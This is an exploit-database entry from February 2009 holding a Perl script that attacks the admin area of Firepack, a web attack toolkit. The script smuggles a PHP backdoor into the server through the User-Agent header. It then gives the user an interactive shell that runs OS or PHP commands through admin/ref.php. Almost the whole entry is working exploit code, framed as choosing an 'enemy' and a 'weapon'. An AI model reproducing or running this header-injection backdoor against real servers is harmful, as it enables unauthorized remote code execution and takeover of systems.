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Firepack Code Execution

🗓️ 18 Feb 2009 00:00:00Reported by Lidloses_AugeType 
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Firepack remote code execution exploi

Code
`#!/usr/bin/perl  
#  
# Firepack - Remote Command\Code Execution Exploit  
#  
# Firepack is a web atting toolkit often used in 2008, when the most  
# versions of it were published. A short time ago i looked though the  
# sourcecode and noticed that Vulnerability which can be used  
# if the admin doesn't use a .htaccess protection in his admin area.  
# WARNING: When accessing the index.php, malware could be executed  
# so i recommend to execute it in a virtual environment.  
# Username and password are located in config.php in the main folder  
  
print("  
################################################  
  
Firepack - Remote Command/Code Execution Exploit  
  
Date: 17.02.2009  
Vulnerability discovered by: Lidloses_Auge  
Exploit coded by: Lidloses_Auge  
Greetz to: -=Player=- , Suicide,  
g4ms3, enco, Palme, GPM,   
karamble, Free-Hack  
  
################################################  
  
Use:  
  
1) Your enemy  
  
URL (e.g. http://localhost/FirePack/)  
  
2) Weapons  
  
1 = Remote Command Execution (OS Commands)  
2 = Remote Code Execution (PHP Commands)  
  
################################################  
  
Select the enemy now:  
  
\t");  
$enemy = <STDIN>;  
$enemy = substr($enemy,0,length($enemy)-1);  
print "\nChoose your weapon!\n\n\t";  
$choice = <STDIN>;  
$choice = substr($choice,0,length($choice)-1);  
  
if ($choice == 1 | $choice == 2) {  
print "\n>>> Entering the ship!";  
use LWP::Simple;  
use LWP::UserAgent;  
my $ua = LWP::UserAgent->new;  
$param[0] = "cmd";  
$param[1] = "code";  
$param[2] = "system";  
$param[3] = "eval";  
$code = "<?php if(isset(\$_GET['$param[$choice-1]'])){echo 'fp_$param[$choice-1]1';$param[$choice+1](\$_GET['$param[$choice-1]']);echo 'fp_$param[$choice-1]2';die;} ?>";  
$ua->agent($code);  
$req = HTTP::Request->new(GET => $enemy."index.php");  
$req->header('Accept' => 'text/html');  
$res = $ua->request($req);  
if (!($res->is_success)) {  
print "\nFailed! Wrong enemy dude?\n";  
} else {  
print "\nWelcome aboard, warrior! Try some commands ('quit' to exit):";  
$splitlen = length("fp_".$param[$choice-1])+1;  
$key = "fp_".$param[$choice-1];  
while (substr($cmd,0,length($cmd)-1) ne "quit") {  
print "\n\n>Do: ";  
$cmd = <STDIN>;  
if (substr($cmd,0,length($cmd)-1) ne "quit") {  
$src = get($enemy."admin/ref.php?$param[$choice-1]=$cmd");  
print "\n".substr($src,index($src,$key."1")+$splitlen,index($src,$key."2")-index($src,$key."1")-$splitlen);  
}  
}  
}  
} else {  
print "\nWanna fight without weapon? No way dude!";  
}  
  
  
`

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